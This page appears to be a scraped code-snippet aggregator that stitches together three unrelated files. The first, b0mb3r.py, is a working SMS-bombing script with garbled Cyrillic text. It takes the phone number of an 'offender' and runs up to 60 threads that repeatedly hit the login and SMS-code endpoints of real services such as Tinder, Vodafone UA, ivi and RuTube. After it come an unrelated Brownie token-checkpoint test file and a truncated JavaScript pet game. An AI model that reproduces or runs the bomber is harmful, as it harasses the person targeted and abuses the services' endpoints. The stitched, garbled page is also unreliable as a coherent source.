Best Python code snippet using locust
b0mb3r.py
Source:b0mb3r.py
1import requests, random, datetime, sys, time, argparse, os2import threading3import json4from colorama import init5from termcolor import colored67init()# ÐниÑеалезиÑÑÑ ÑвеÑ(Ð´ÐµÐ»Ð°Ñ Ñак ÑÑо б вÑе print бÑли ÑазноÑвеÑнÑми)89#-_-_-_-_-_-_-_-_-_-_-_-_ÐодгоÑовка ÐомеÑа и вÑеÑ
пеÑеменнÑÑ
-_-_-_-_-_-_-_-_-_-_-_-_1011print(colored("ÐведиÑе название ÑÑÑанÑ(РУС, УÐÐ )", "yellow"))12while True:13 country = str(input("-----> "))14 country = country.lower()15 if country == "ÑкÑ" or country == "ÑÑÑ":16 break17 if country != "ÑкÑ" or country != "ÑÑÑ":18 print(colored("Я вÑоде ÑÑно вÑÑазелÑÑ, ÑÑÑ ÑолÑко либо РУС, либо УÐÐ ", "red"))1920print(colored("Ð ÑепеÑÑ Ð½Ð¾Ð¼ÐµÑ Ð²Ð°Ñего обидÑика (пÑимеÑ: 7Ñ
Ñ
Ñ
Ñ
Ñ
Ñ
Ñ
Ñ
Ñ
Ñ
или 38Ñ
Ñ
Ñ
Ñ
Ñ
Ñ
Ñ
Ñ
Ñ
Ñ
)", "yellow"))21while True:22 try:23 phone = int(input("-----> "))24 if country == "ÑкÑ" and len(str(phone)) == 12:25 _phone = str(phone)[2:]26 phonebuzzolls = f"+38 ({_phone[0:3]}) {_phone[3:6]}-{_phone[6:8]}-{_phone[8:10]}"27 phonedianet = f"+38 ({_phone[0:3]}) {_phone[3:6]} {_phone[6:8]} {_phone[8:10]}"28 phoneiQlab = f"+38 ({_phone[0:3]}) {_phone[3:6]} {_phone[6:8]} {_phone[8:10]}"29 phoneCitrus = f"+380 {_phone[1:3]} {_phone[3:6]} {_phone[6:8]} {_phone[8:10]}"30 phonevodafone = _phone[1:]31 print(colored(phoneCitrus, "green"))32 break33 elif country == "ÑÑÑ" and len(str(phone)) == 11:34 _phone = str(phone)[1:]35 phonebuzzolls = f"+7 ({_phone[0:3]}) {_phone[3:5]}-{_phone[6:7]}-{_phone[8:9]}"36 print(colored(phonebuzzolls, "green"))37 print(colored(phone, "green"))38 break39 elif country == "ÑкÑ" and len(str(phone)) != 12:40 print(colored("РномеÑе оÑибка", "red"))41 elif country == "ÑÑÑ" and len(str(phone)) != 11:42 print(colored("РномеÑе оÑибка", "red"))43 except:44 print(colored("РномеÑе оÑибка", "red"))4546print(colored("Ðо ÑколÑко поÑоков аÑаковаÑÑ(max. 60):", "yellow"))47while True:48 try:49 th = int(input("-----> "))50 break51 except:52 print(colored("Ркол-во поÑокаÑ
оÑибка", "red"))53phone = str(phone)54_phone = str(_phone)55password = ['1gjfgj56', '96fg8072533', '5367493sdg', '232lkgshlg', '6jl09225', '823iom5']56email = 'email_man_today@mail.ru'5758#-_-_-_-_-_-_-_-_-_-_-_-_ÐÑÐ½Ð¾Ð²Ð½Ð°Ñ ÑÑнкÑÐ¸Ñ Ð³Ð´Ðµ пÑоиÑÑ
Ð¾Ð´Ð¸Ñ Ð²ÑÑ Ð¼Ð°Ð³Ð¸Ñ(ÑÐ»ÐµÑ Ñпам)-_-_-_-_-_-_-_-_-_-_-_-_5960def loop(password, sleep_time, k, th):61 sleep_time = float(sleep_time)62 password = random.choice(password)63 try:64 buzzolls = requests.get(65 "https://it.buzzolls.ru:9995/api/v2/auth/register",66 params={"phoneNumber": "+"+phone},67 headers={"keywordapi": "ProjectVApiKeyword", "usedapiversion": "3"}68 )69 if str(buzzolls) == "<Response [200]>":70 print(colored("[+] Buzzolls оÑпÑавленно", "green"))71 else:72 print(colored("[-] Buzzolls ÐÐоÑпÑавленно", "red"))73 except:74 print(colored("[-] ÐÑибка", "red"))75 time.sleep(sleep_time)76 try:77 alfalife = requests.post(78 "https://alfalife.cc/auth.php", 79 data={"phone": _phone},80 headers={"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0"}81 )82 if str(alfalife) == "<Response [200]>" and not "error" in str(alfalife.content):83 print(colored("[+] Alfalife оÑпÑавленно", "green"))84 else:85 print(colored("[-] Alfalife ÐÐоÑпÑавленно", "red"))86 except:87 print(colored("[-] ÐÑибка", "red"))88 time.sleep(sleep_time)89 try:90 beltelecom = requests.post(91 'https://myapi.beltelecom.by/api/v1/auth/check-phone?lang=ru', 92 data={'phone': phone})93 if str(beltelecom) == "<Response [200]>" and not "error" in str(beltelecom.content):94 print(colored("[+] Beltelecom оÑпÑавленно", "green"))95 else:96 print(colored("[-] Beltelecom ÐÐоÑпÑавленно", "red"))97 except:98 print(colored("[-] ÐÑибка", "red"))99 time.sleep(sleep_time)100 try:101 vodafone = requests.post(102 'https://cscapp.vodafone.ua/eai_mob/start.swe?SWEExtSource=JSONConverter&SWEExtCmd=Execute', 103 json={104 "params":105 {"version":"1.8.0",106 "language":"ru",107 "source":"WebApp",108 "token":"null",109 "manufacture":"",110 "childNumber":"",111 "accessType":"",112 "spinner":1},113 "requests":114 {"loginV2":115 {"id":phonevodafone}116 }117 }, 118 headers={119 "Accept-Language": "ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7,uk;q=0.6",120 "Connection": "keep-alive",121 "Host": "cscapp.vodafone.ua",122 "Origin": "https://my.vodafone.ua",123 "Referer": "https://my.vodafone.ua/auth/sign-in",124 })125 if str(vodafone) == "<Response [200]>" and not "error" in str(vodafone.content):126 print(colored("[+] Vodafone оÑпÑавленно", "green"))127 else:128 print(colored("[-] Vodafone ÐÐоÑпÑавленно", "red"))129 except:130 print(colored("[-] ÐÑибка", "red"))131 time.sleep(sleep_time)132 try:133 tinder = requests.post(134 'https://api.gotinder.com/v2/auth/sms/send?auth_type=sms&locale=ru',135 data={'phone_number': phone})136 if str(tinder) == "<Response [200]>" and not "error" in str(tinder.content):137 print(colored('[+] Tinder оÑпÑавлено', 'green'))138 else:139 print(colored("[-] Tinder ÐÐоÑпÑавленно", "red"))140 except:141 print(colored("[-] ÐÑибка", "red"))142 time.sleep(sleep_time)143 try:144 ivi = requests.post("https://api.ivi.ru/mobileapi/user/register/phone/v6",data={"phone": '+' + phone})145 if str(ivi) == "<Response [200]>" and not "error" in str(ivi.content):146 print(colored('[+] IvI оÑпÑавлено', 'green'))147 else:148 print(colored("[-] IvI ÐÐоÑпÑавленно", "red"))149 except:150 print(colored("[-] ÐÑибка", "red"))151 time.sleep(sleep_time)152 try:153 helsi = requests.post(154 "https://helsi.me/api/healthy/accounts/login",155 json={"phone": phone, "platform": "PISWeb"},156 )157 if str(helsi) == "<Response [202]>" or str(helsi) == "<Response [200]>":158 print(colored('[+] Helsi оÑпÑавлено', 'green'))159 else:160 print(colored("[-] Helsi ÐÐоÑпÑавленно", "red"))161 except:162 print(colored("[-] ÐÑибка", "red"))163 time.sleep(sleep_time)164 try:165 rutube = requests.post(166 'https://pass.rutube.ru/api/accounts/phone/send-code/',167 data={168 "phone": "+" + phone, 169 "g-recaptcha-response": ""170 },171 headers = {172 'Accept-Language':'uk-UA,uk;q=0.9,en-US;q=0.8,en;q=0.7',173 'Connection':'keep-alive',174 'Host':'pass.rutube.ru',175 'origin':'https://rutube.ru',176 'Referer':'https://rutube.ru/'177 })178 if str(rutube) == "<Response [200]>":179 print(colored('[+] RuTube оÑпÑавлено', 'green'))180 else:181 print(colored("[-] RuTube ÐÐоÑпÑавленно", "red"))182 except:183 print(colored("[-] ÐÑибка", "red"))184 time.sleep(sleep_time)185 try:186 citrus = requests.post(187 f"https://my.citrus.ua/api/auth/login",188 data={"identity": phoneCitrus},189 )190 if str(citrus) == "<Response [200]>":191 print(colored('[+] Сitrus оÑпÑавлено', 'green'))192 else:193 print(colored("[-] Сitrus ÐÐоÑпÑавленно", "red"))194 except:195 print(colored("[-] ÐÑибка", "red"))196 time.sleep(sleep_time)197 # try:198 # foxtrot = requests.post(199 # f"https://www.foxtrot.com.ua/ru/account/newlogin",200 # data={201 # "__RequestVerificationToken": "wxTmOGaBiVaDwWuGFSYUEegTerhb3fS_c7c4eJB5z1odfkPMfnQNizC9LWw-voPqx5AE4RDIO-ChQzqsCqacgfDVstc1",202 # "GoogleCaptchaToken": "03AGdBq26Z-i7BWDR5Uair2718qg5SIic6SwTTNxV4NCLfHTA93ql_iaX3JBvFb1j16-NccoItITov3kPYfsDuG5RDW5pPWbqSqIOuxlE17_sHyo4UlLrjyQw1QxXb-JopWhzWuwwQbDdopqS8C6eOxLRg_GjIjXFju5SC9GaG_fXPz-mP_tizke2BObB6kE0jsloc4PMw9Zb8r5ReOwnp8TSpiSYWt5i7DU1j2150MQYRZrE7AybDI6vGYeUeb8XYTyMQ3vpgAA2MUt87TmUO1zhBP2uzXYzV1ajnhUq1slNMhbUXIFTxKGAArUpWhw1IOdoGa_eNhqVNOXdogvNsHu8YT0K2dphcgg2cYKX1tMGB2iSEyf0h8ZaEBXbrW2knN1yivjZlU8Ya",203 # "CellPhone": "+38(099) 972 37 55",204 # "X-Requested-With": "XMLHttpRequest"},205 # headers={206 # "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"207 # })208 # print(mamamia.text)209 # if str(mamamia) == "<Response [200]>":210 # print(colored('[+] FoxTrot оÑпÑавлено', 'green'))211 # else:212 # print(colored("[-] FoxTrot ÐÐоÑпÑавленно", "red"))213 # except:214 # print(colored("[-] ÐÑибка", "red"))215 # time.sleep(sleep_time)216217 if th > 60:218 print(colored(f"{k}/60 кÑÑг пÑойден", "yellow"))219 else:220 print(colored(f"{k}/{th} кÑÑг пÑойден", "yellow"))221222223#-_-_-_-_-_-_-_-_-_-_-_-_ÐоÑок вÑеÑ
запÑоÑов(заÑÑк ÑÑнкÑии)-_-_-_-_-_-_-_-_-_-_-_-_224225#ÐоÑоки226k = 1227_sleep = "0"228while True:229 if th >= 1:230 t1 = threading.Thread(target=loop, args=(password, _sleep, k, th))231 t1.start()232 _threat = t1233 if th >= 2:234 t2 = threading.Thread(target=loop, args=(password, _sleep, k, th))235 t2.start()236 _threat = t2237 if th >= 3:238 t3 = threading.Thread(target=loop, args=(password, _sleep, k, th))239 t3.start()240 _threat = t3241 if th >= 4:242 t4 = threading.Thread(target=loop, args=(password, _sleep, k, th))243 t4.start()244 _threat = t4245 if th >= 5:246 t5 = threading.Thread(target=loop, args=(password, _sleep, k, th))247 t5.start()248 _threat = t5249 if th >= 6:250 t6 = threading.Thread(target=loop, args=(password, _sleep, k, th))251 t6.start()252 _threat = t6253 if th >= 7:254 t7 = threading.Thread(target=loop, args=(password, _sleep, k, th))255 t7.start()256 _threat = t7257 if th >= 8:258 t8 = threading.Thread(target=loop, args=(password, _sleep, k, th))259 t8.start()260 _threat = t8261 if th >= 9:262 t9 = threading.Thread(target=loop, args=(password, _sleep, k, th))263 t9.start()264 _threat = t9265 if th >= 11:266 t11 = threading.Thread(target=loop, args=(password, _sleep, k, th))267 t11.start()268 _threat = t11269 if th >= 12:270 t12 = threading.Thread(target=loop, args=(password, _sleep, k, th))271 t12.start()272 _threat = t12273 if th >= 13:274 t13 = threading.Thread(target=loop, args=(password, _sleep, k, th))275 t13.start()276 _threat = t13277 if th >= 14:278 t14 = threading.Thread(target=loop, args=(password, _sleep, k, th))279 t14.start()280 _threat = t14281 if th >= 15:282 t15 = threading.Thread(target=loop, args=(password, _sleep, k, th))283 t15.start()284 _threat = t15285 if th >= 16:286 t16 = threading.Thread(target=loop, args=(password, _sleep, k, th))287 t16.start()288 _threat = t16289 if th >= 17:290 t17 = threading.Thread(target=loop, args=(password, _sleep, k, th))291 t17.start()292 _threat = t17293 if th >= 18:294 t18 = threading.Thread(target=loop, args=(password, _sleep, k, th))295 t18.start()296 _threat = t18297 if th >= 19:298 t19 = threading.Thread(target=loop, args=(password, _sleep, k, th))299 t19.start()300 _threat = t19301 if th >= 20:302 t20 = threading.Thread(target=loop, args=(password, _sleep, k, th))303 t20.start()304 _threat = t20305 if th >= 21:306 t21 = threading.Thread(target=loop, args=(password, _sleep, k, th))307 t21.start()308 _threat = t21309 if th >= 22:310 t22 = threading.Thread(target=loop, args=(password, _sleep, k, th))311 t22.start()312 _threat = t22313 if th >= 23:314 t23 = threading.Thread(target=loop, args=(password, _sleep, k, th))315 t23.start()316 _threat = t23317 if th >= 24:318 t24 = threading.Thread(target=loop, args=(password, _sleep, k, th))319 t24.start()320 _threat = t24321 if th >= 25:322 t25 = threading.Thread(target=loop, args=(password, _sleep, k, th))323 t25.start()324 _threat = t25325 if th >= 26:326 t26 = threading.Thread(target=loop, args=(password, _sleep, k, th))327 t26.start()328 _threat = t26329 if th >= 27:330 t27 = threading.Thread(target=loop, args=(password, _sleep, k, th))331 t27.start()332 _threat = t27333 if th >= 28:334 t28 = threading.Thread(target=loop, args=(password, _sleep, k, th))335 t28.start()336 _threat = t28337 if th >= 29:338 t29 = threading.Thread(target=loop, args=(password, _sleep, k, th))339 t29.start()340 _threat = t29341 if th >= 30:342 t30 = threading.Thread(target=loop, args=(password, _sleep, k, th))343 t30.start()344 _threat = t30345 if th >= 31:346 t31 = threading.Thread(target=loop, args=(password, _sleep, k, th))347 t31.start()348 _threat = t31349 if th >= 32:350 t32 = threading.Thread(target=loop, args=(password, _sleep, k, th))351 t32.start()352 _threat = t32353 if th >= 33:354 t33 = threading.Thread(target=loop, args=(password, _sleep, k, th))355 t33.start()356 _threat = t33357 if th >= 34:358 t34 = threading.Thread(target=loop, args=(password, _sleep, k, th))359 t34.start()360 _threat = t34361 if th >= 35:362 t35 = threading.Thread(target=loop, args=(password, _sleep, k, th))363 t35.start()364 _threat = t35365 if th >= 36:366 t36 = threading.Thread(target=loop, args=(password, _sleep, k, th))367 t36.start()368 _threat = t36369 if th >= 37:370 t37 = threading.Thread(target=loop, args=(password, _sleep, k, th))371 t37.start()372 _threat = t37373 if th >= 38:374 t38 = threading.Thread(target=loop, args=(password, _sleep, k, th))375 t38.start()376 _threat = t38377 if th >= 39:378 t39 = threading.Thread(target=loop, args=(password, _sleep, k, th))379 t39.start()380 _threat = t39381 if th >= 40:382 t40 = threading.Thread(target=loop, args=(password, _sleep, k, th))383 t40.start()384 _threat = t40385 if th >= 41:386 t41 = threading.Thread(target=loop, args=(password, _sleep, k, th))387 t41.start()388 _threat = t41389 if th >= 42:390 t42 = threading.Thread(target=loop, args=(password, _sleep, k, th))391 t42.start()392 _threat = t42393 if th >= 43:394 t43 = threading.Thread(target=loop, args=(password, _sleep, k, th))395 t43.start()396 _threat = t43397 if th >= 44:398 t44 = threading.Thread(target=loop, args=(password, _sleep, k, th))399 t44.start()400 _threat = t44401 if th >= 45:402 t45 = threading.Thread(target=loop, args=(password, _sleep, k, th))403 t45.start()404 _threat = t45405 if th >= 46:406 t46 = threading.Thread(target=loop, args=(password, _sleep, k, th))407 t46.start()408 _threat = t46409 if th >= 47:410 t47 = threading.Thread(target=loop, args=(password, _sleep, k, th))411 t47.start()412 _threat = t47413 if th >= 48:414 t48 = threading.Thread(target=loop, args=(password, _sleep, k, th))415 t48.start()416 _threat = t48417 if th >= 49:418 t49 = threading.Thread(target=loop, args=(password, _sleep, k, th))419 t49.start()420 _threat = t49421 if th >= 50:422 t50 = threading.Thread(target=loop, args=(password, _sleep, k, th))423 t50.start()424 _threat = t50425 if th >= 51:426 t51 = threading.Thread(target=loop, args=(password, _sleep, k, th))427 t51.start()428 _threat = t51429 if th >= 52:430 t52 = threading.Thread(target=loop, args=(password, _sleep, k, th))431 t52.start()432 _threat = t52433 if th >= 53:434 t53 = threading.Thread(target=loop, args=(password, _sleep, k, th))435 t53.start()436 _threat = t53437 if th >= 54:438 t54 = threading.Thread(target=loop, args=(password, _sleep, k, th))439 t54.start()440 _threat = t54441 if th >= 55:442 t55 = threading.Thread(target=loop, args=(password, _sleep, k, th))443 t55.start()444 _threat = t55445 if th >= 56:446 t56 = threading.Thread(target=loop, args=(password, _sleep, k, th))447 t56.start()448 _threat = t56449 if th >= 57:450 t57 = threading.Thread(target=loop, args=(password, _sleep, k, th))451 t57.start()452 _threat = t57453 _threat.join()454 if th >= 58:455 t58 = threading.Thread(target=loop, args=(password, _sleep, k, th))456 t58.start()457 _threat = t58458 _threat.join()459 if th >= 59:460 t59 = threading.Thread(target=loop, args=(password, _sleep, k, th))461 t59.start()462 _threat = t59463 _threat.join()464 if th >= 60:465 t60 = threading.Thread(target=loop, args=(password, _sleep, k, th))466 t60.start()467 _threat = t60468 _threat.join()469470 # if th == k:471 # print(colored("ÐÑÑ Ð³Ð¾Ñово, ждем ÑеакÑии ^-^", 'yellow'))472 # time.sleep(5)473 # exit()
...
test_totalsupply_at.py
Source:test_totalsupply_at.py
1#!/usr/bin/python32import pytest3from brownie import accounts, rpc4def _sleep(seconds):5 rpc.sleep(seconds)6 rpc.mine()7@pytest.fixture(scope="module", autouse=True)8def setup(id1, share):9 share.mint(accounts[1], 100000, {"from": accounts[0]})10def test_check_balances(cp, share, cptime):11 """check totalSupply"""12 cp.newCheckpoint(share, cptime, {"from": accounts[0]})13 _sleep(110)14 assert cp.totalSupplyAt(share, cptime) == 10000015def test_mint_before(cp, share, cptime):16 """minted before checkpoint"""17 cp.newCheckpoint(share, cptime, {"from": accounts[0]})18 share.mint(accounts[1], 100000, {"from": accounts[0]})19 _sleep(110)20 assert cp.totalSupplyAt(share, cptime) == 20000021def test_mint_after(cp, share, cptime):22 """minted after checkpoint"""23 cp.newCheckpoint(share, cptime, {"from": accounts[0]})24 _sleep(110)25 share.mint(accounts[1], 100000, {"from": accounts[0]})26 assert cp.totalSupplyAt(share, cptime) == 10000027def test_mint_before_after(cp, share, cptime):28 """minted before and after checkpoint"""29 cp.newCheckpoint(share, cptime, {"from": accounts[0]})30 share.mint(accounts[1], 100000, {"from": accounts[0]})31 _sleep(110)32 share.mint(accounts[1], 100000, {"from": accounts[0]})33 assert cp.totalSupplyAt(share, cptime) == 20000034def test_two_checkpoints(cp, share, cptime):35 """check totalSupply - two checkpoints"""36 cp.newCheckpoint(share, cptime, {"from": accounts[0]})37 cp.newCheckpoint(share, cptime + 100, {"from": accounts[0]})38 _sleep(110)39 assert cp.totalSupplyAt(share, cptime) == 10000040 _sleep(110)41 assert cp.totalSupplyAt(share, cptime) == 10000042 assert cp.totalSupplyAt(share, cptime + 100) == 10000043def test_two_mint_before(cp, share, cptime):44 """two checkpoints - mint before"""45 cp.newCheckpoint(share, cptime, {"from": accounts[0]})46 cp.newCheckpoint(share, cptime + 100, {"from": accounts[0]})47 share.mint(accounts[1], 100000, {"from": accounts[0]})48 _sleep(110)49 assert cp.totalSupplyAt(share, cptime) == 20000050 _sleep(110)51 assert cp.totalSupplyAt(share, cptime) == 20000052 assert cp.totalSupplyAt(share, cptime + 100) == 20000053def test_two_mint_in_between(cp, share, cptime):54 """two checkpoints - mint in between"""55 cp.newCheckpoint(share, cptime, {"from": accounts[0]})56 cp.newCheckpoint(share, cptime + 100, {"from": accounts[0]})57 _sleep(110)58 assert cp.totalSupplyAt(share, cptime) == 10000059 share.mint(accounts[1], 100000, {"from": accounts[0]})60 _sleep(110)61 assert cp.totalSupplyAt(share, cptime) == 10000062 assert cp.totalSupplyAt(share, cptime + 100) == 20000063def test_two_mint_after(cp, share, cptime):64 """two checkpoints - mint after"""65 cp.newCheckpoint(share, cptime, {"from": accounts[0]})66 cp.newCheckpoint(share, cptime + 100, {"from": accounts[0]})67 _sleep(110)68 assert cp.totalSupplyAt(share, cptime) == 10000069 _sleep(110)70 share.mint(accounts[1], 100000, {"from": accounts[0]})71 assert cp.totalSupplyAt(share, cptime) == 10000072 assert cp.totalSupplyAt(share, cptime + 100) == 10000073def test_two_mint_before_after(cp, share, cptime):74 """two checkpoints - mint before and after"""75 cp.newCheckpoint(share, cptime, {"from": accounts[0]})76 cp.newCheckpoint(share, cptime + 100, {"from": accounts[0]})77 share.mint(accounts[1], 100000, {"from": accounts[0]})78 _sleep(110)79 assert cp.totalSupplyAt(share, cptime) == 20000080 _sleep(110)81 share.mint(accounts[1], 100000, {"from": accounts[0]})82 assert cp.totalSupplyAt(share, cptime) == 20000083 assert cp.totalSupplyAt(share, cptime + 100) == 20000084def test_two_mint_before_inbetween_after(cp, share, cptime):85 """two checkpoints - mint before, in between, after"""86 cp.newCheckpoint(share, cptime, {"from": accounts[0]})87 cp.newCheckpoint(share, cptime + 100, {"from": accounts[0]})88 share.mint(accounts[1], 100000, {"from": accounts[0]})89 _sleep(110)90 assert cp.totalSupplyAt(share, cptime) == 20000091 share.mint(accounts[1], 100000, {"from": accounts[0]})92 _sleep(110)93 share.mint(accounts[1], 100000, {"from": accounts[0]})94 assert cp.totalSupplyAt(share, cptime) == 20000095 assert cp.totalSupplyAt(share, cptime + 100) == 30000096def test_three_checkpoints(cp, share, cptime):97 """check totalSupply - two checkpoints"""98 cp.newCheckpoint(share, cptime, {"from": accounts[0]})99 cp.newCheckpoint(share, cptime + 100, {"from": accounts[0]})100 cp.newCheckpoint(share, cptime + 200, {"from": accounts[0]})101 _sleep(110)102 assert cp.totalSupplyAt(share, cptime) == 100000103 _sleep(110)104 assert cp.totalSupplyAt(share, cptime) == 100000105 assert cp.totalSupplyAt(share, cptime + 100) == 100000106 _sleep(110)107 assert cp.totalSupplyAt(share, cptime) == 100000108 assert cp.totalSupplyAt(share, cptime + 100) == 100000109 assert cp.totalSupplyAt(share, cptime + 200) == 100000110def test_three_before(cp, share, cptime):111 """three checkpoints - mint before"""112 cp.newCheckpoint(share, cptime, {"from": accounts[0]})113 cp.newCheckpoint(share, cptime + 100, {"from": accounts[0]})114 cp.newCheckpoint(share, cptime + 200, {"from": accounts[0]})115 share.mint(accounts[1], 100000, {"from": accounts[0]})116 _sleep(310)117 assert cp.totalSupplyAt(share, cptime) == 200000118 assert cp.totalSupplyAt(share, cptime + 100) == 200000119 assert cp.totalSupplyAt(share, cptime + 200) == 200000120def test_three_after(cp, share, cptime):121 """three checkpoints - mint after"""122 cp.newCheckpoint(share, cptime, {"from": accounts[0]})123 cp.newCheckpoint(share, cptime + 100, {"from": accounts[0]})124 cp.newCheckpoint(share, cptime + 200, {"from": accounts[0]})125 _sleep(310)126 share.mint(accounts[1], 100000, {"from": accounts[0]})127 assert cp.totalSupplyAt(share, cptime) == 100000128 assert cp.totalSupplyAt(share, cptime + 100) == 100000129 assert cp.totalSupplyAt(share, cptime + 200) == 100000130def test_three_between_first_second(cp, share, cptime):131 """three checkpoints - mint between first and second"""132 cp.newCheckpoint(share, cptime, {"from": accounts[0]})133 cp.newCheckpoint(share, cptime + 100, {"from": accounts[0]})134 cp.newCheckpoint(share, cptime + 200, {"from": accounts[0]})135 _sleep(110)136 share.mint(accounts[1], 100000, {"from": accounts[0]})137 _sleep(210)138 assert cp.totalSupplyAt(share, cptime) == 100000139 assert cp.totalSupplyAt(share, cptime + 100) == 200000140 assert cp.totalSupplyAt(share, cptime + 200) == 200000141def test_three_between_second_third(cp, share, cptime):142 """three checkpoints - mint between second and third"""143 cp.newCheckpoint(share, cptime, {"from": accounts[0]})144 cp.newCheckpoint(share, cptime + 100, {"from": accounts[0]})145 cp.newCheckpoint(share, cptime + 200, {"from": accounts[0]})146 _sleep(210)147 share.mint(accounts[1], 100000, {"from": accounts[0]})148 _sleep(110)149 assert cp.totalSupplyAt(share, cptime) == 100000150 assert cp.totalSupplyAt(share, cptime + 100) == 100000151 assert cp.totalSupplyAt(share, cptime + 200) == 200000152def test_three_between(cp, share, cptime):153 """three checkpoints - mint in between"""154 cp.newCheckpoint(share, cptime, {"from": accounts[0]})155 cp.newCheckpoint(share, cptime + 100, {"from": accounts[0]})156 cp.newCheckpoint(share, cptime + 200, {"from": accounts[0]})157 _sleep(110)158 share.mint(accounts[1], 100000, {"from": accounts[0]})159 _sleep(110)160 share.mint(accounts[1], 100000, {"from": accounts[0]})161 _sleep(110)162 assert cp.totalSupplyAt(share, cptime) == 100000163 assert cp.totalSupplyAt(share, cptime + 100) == 200000164 assert cp.totalSupplyAt(share, cptime + 200) == 300000165def test_three_before_after(cp, share, cptime):166 """three checkpoints - mint before and after"""167 cp.newCheckpoint(share, cptime, {"from": accounts[0]})168 cp.newCheckpoint(share, cptime + 100, {"from": accounts[0]})169 cp.newCheckpoint(share, cptime + 200, {"from": accounts[0]})170 share.mint(accounts[1], 100000, {"from": accounts[0]})171 _sleep(310)172 share.mint(accounts[1], 100000, {"from": accounts[0]})173 assert cp.totalSupplyAt(share, cptime) == 200000174 assert cp.totalSupplyAt(share, cptime + 100) == 200000175 assert cp.totalSupplyAt(share, cptime + 200) == 200000176def test_three_before_in_betwee_after(cp, share, cptime):177 """three checkpoints - moved before, in between, after"""178 cp.newCheckpoint(share, cptime, {"from": accounts[0]})179 cp.newCheckpoint(share, cptime + 100, {"from": accounts[0]})180 cp.newCheckpoint(share, cptime + 200, {"from": accounts[0]})181 share.mint(accounts[1], 100000, {"from": accounts[0]})182 _sleep(110)183 share.mint(accounts[1], 100000, {"from": accounts[0]})184 _sleep(110)185 share.mint(accounts[1], 100000, {"from": accounts[0]})186 _sleep(110)187 share.mint(accounts[1], 100000, {"from": accounts[0]})188 assert cp.totalSupplyAt(share, cptime) == 200000189 assert cp.totalSupplyAt(share, cptime + 100) == 300000...
main.js
Source:main.js
1let inquierer = require('inquirer');2var colors = require('colors');3let animal4function gameOver(){5 console.log(` G A M E O V E R `.underline.red)6 console.log(`\n\n Stairs to heaven\n\n`.red)7 console.log(" | ".red)8 console.log(" ---|--- ".red)9 console.log(" | ".red)10 console.log(" | ".red)11 console.log(" | ".red)12 console.log(' | '.red)13 14}15let firstQuestions = [16 {17 type:'rawlist',18 name: 'type',19 message: "What kind of pet do you want to choose?\n\n",20 choices: ['Cat', 'Dog','Bunny'],21 default:'Dog'22 },23 {24 type: 'input',25 name: 'name',26 message:'What name you want to choose?\n\n',27 validate: (answer)=>{28 if(answer ===''){29 return `Please enter pet name`30 }31 return true32 33 }34 },35];36let choices = [37 {38 type : 'rawlist',39 name : 'choice',40 message : 'What we gonna do now?\n\n',41 choices : ['Give food', 'Give drink','Lets play','Screatch on head','Take a walk','Sleep'],42 },43];44let game = () => {45 if (animal._hunger <= 0 || animal._energyLevel<= 0|| animal._thirst <= 046 || animal._hunger > 20|| animal._thirst > 20 ){47 gameOver()48 }49inquierer50 .prompt(choices)51 .then((answers) =>{52 if(answers.choice === 'Give food'){53 animal.eat()54 }else if(answers.choice === 'Give drink'){55 animal.drink()56 }else if(answers.choice === 'Lets play'){57 animal.play()58 }else if(answers.choice === 'Screatch on head'){59 animal.headScratch()60 }else if(answers.choice === 'Take a walk'){61 animal.walk()62 }else if(answers.choice === 'Sleep'){63 animal.sleep()64 }65 })66 .then(() => game ());67 };68const first = () => {69 inquierer70 .prompt(firstQuestions)71 .then((answers) =>{72 if(answers.type === 'Cat'){73 animal = new Cat(answers.name)74 75 }else if(answers.type === 'Dog'){76 animal = new Dog(answers.name)77 }else if((answers.type === 'Bunny')){78 animal = new Bunny(answers.name)79 }80 console.log(`\n\n Hi there! I am ${answers.name} sueeeper ${answers.type} !\n\n Im really unique, so take good care of me...\n\n otherwise I will piss in your shoes everyday...\n\nI dont joke :)\n\n`.underline.magenta) 81 })82 .then(()=>game())83}84first()85 86class Animal{87 constructor(name){88 this._name = name;89 this._happiness = 5;90 this._hunger = 6;91 this._thirst = 6; 92 this._energyLevel = 10;93 this._bladder = 2;94 this._sleep = 5;95 96 }97 get name(){98 this._name;99 }100 101 get happiness(){102 this._happiness;103 }104 105 get hunger(){106 this._hunger;107}108 109 get thirst(){110 this._thirst;111 }112 113 get energyLevel(){114 this._energyLevel;115 }116 117 get bladder(){118 this._bladder;119 }120 121 get sleep(){122 this._sleep;123 }124 125 eat(){126 this._hunger ++; 127 this._happiness ++;128 this._energyLevel ++;129 this._bladder ++;130 console.log('\n\nMniami...I love this food'.underline.magenta)131 if(this._hunger >= 9){132 console.log("\n\nHey dude! I can not eat more..".underline.magenta)133 }else if (this._hunger > 6){134 console.log("\n\nNow we can play :)".underline.magenta)135 }136 return console.log((`\n\nHunger meter: ${this._hunger}\nThirst meter: ${this._thirst} \nHappiness meter: ${this._happiness} \nBladder meter: ${this._bladder} \nEnergy meter: ${this._energyLevel} \nSleep meter: ${this._sleep}\n\n`.cyan))137 }138 drink(){139 this._thirst ++; 140 this._happiness ++;141 this._bladder ++;142 this._energyLevel ++;143 if(this._thirst >= 8){144 console.log("\n\nHey dude!... I can not drink more..".underline.magenta)145 }else if((this._bladder >= 6)){146 console.log("\n\nMy bladder is full, let's have a walk!".underline.magenta);147 }148 return console.log((`\n\nHunger meter: ${this._hunger}\nThirst meter: ${this._thirst} \nHappiness meter: ${this._happiness} \nBladder meter: ${this._bladder} \nEnergy meter: ${this._energyLevel} \nSleep meter: ${this._sleep}\n\n`.cyan))}149 150 headScratch(){151 this._happiness ++;152 this._energyLevel ++;153 console.log("\n\nI like it :)".underline.magenta)154 setTimeout(() => {155 console.log("\n\nN no don't stop..".underline.magenta);156 }, 500);157 return console.log((`\n\nHunger meter: ${this._hunger}\nThirst meter: ${this._thirst} \nHappiness meter: ${this._happiness} \nBladder meter: ${this._bladder} \nEnergy meter: ${this._energyLevel} \nSleep meter: ${this._sleep}\n\n`.cyan))158 }159 play(){160 this._energyLevel --;161 this._hunger --;162 this._thirst --;163 this._sleep ++;;164 if(this._energyLevel <= 4){165 console.log("\n\nOh I am tired now...".underline.magenta)166 } else if (this._thirst <= 3 || this._hunger <= 3){167 console.log("\n\nOh I am so hungry and thirsty...".underline.magenta)168 }else if(this._sleep > 10 ){169 console.log("\n\nI need to take rest...\n\n".underline.magenta)170 }171 return 